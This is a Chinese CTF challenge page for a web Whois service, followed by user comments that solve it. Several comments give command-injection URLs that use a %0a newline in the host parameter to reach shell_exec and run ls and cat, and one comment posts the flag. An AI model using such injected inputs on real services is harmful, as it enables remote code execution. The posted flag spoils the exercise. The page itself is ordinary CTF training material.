WhoisWEB 未解决

分数: 0 金币: 0
题目作者: 未知
一　　血: tzzzez
一血奖励: 0金币
解　　决: 680
提　　示: There was a problem with the first version, this is the fixed version.
描　　述:
A web-based Whois service
...
登录回复
评论
000ooo 1月前
举报

①/query.php?host=whois.verisign-grs.com%0a&query=ls ②/query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 0
cyffk 1月前
举报

为什么%不会被过滤？

回复 0
Zhumeng 1月前
举报

查看query源代码发现有个shell_exec()可以rce 通过%0a去截断第一个参数，然后在第二个参数里面输入ls可以查看当前目录文件 然后cat命令读取文件 空格需要url编码

回复 0
admin9101 3月前
举报

http://82.157.146.43:16777/query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 0
MOCHAOLIN 4月前
举报

(1)http://82.157.146.43:13266/query.php?host=whois.verisign-grs.com%0A&query=ls (2) http://82.157.146.43:13266/query.php?host=whois.verisign-grs.com%0A&query=cat%20thisistheflagwithrandomstuf

回复 0
wj834722134 5月前
举报

host参数用%0a结尾，正则表达式/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/为什么能匹配成功？host字符串最后一位'\n'明明不在[0-9a-zA-Z\.-]范围内

回复 0
TOMCAT336699 16天前
举报

您弄明白了没有，你这个问题，我没找出答案来，谢谢

回复 0
Tao23 7月前
举报

query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 0
to5ny 8月前
举报

/query.php?host=whois.verisign-grs.com%0a&query=ls /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 1
xzs297995 9月前
举报

shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}

回复 1
xiaoxiao972521 9月前
举报

/query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

回复 0
.⎛⎝•̀ω•́⎠⎞. 11月前
举报

1.读php文件 2.分析出存在危险函数shell_exec 3.通过url编码换行绕过第一个参数host 4.第二个参数query可以输入rce。空格用url编码绕

回复 2

WriteUp

image
hopeinhand

1 金币

立即查看

评分(0)

暂无评分

解题动态

ysmilec 攻破了该题 1小时前
Waitcat 攻破了该题 1天前
wangdashuai 攻破了该题 3天前
5013230204 攻破了该题 6天前
林lin1318 攻破了该题 7天前
2115032105 攻破了该题 9天前
ssoocc 攻破了该题 9天前
dir_tree 攻破了该题 10天前
18280943677 攻破了该题 13天前
biandanjun 攻破了该题 13天前
15660170057 攻破了该题 15天前
kjkjk 攻破了该题 15天前
luogen 攻破了该题 15天前
TOMCAT336699 攻破了该题 16天前
yanzong668 攻破了该题 18天前
yixcjy 攻破了该题 18天前
1ang 攻破了该题 18天前
blackkkkkk 攻破了该题 20天前
happynwt 攻破了该题 22天前
0606 攻破了该题 23天前
问题反馈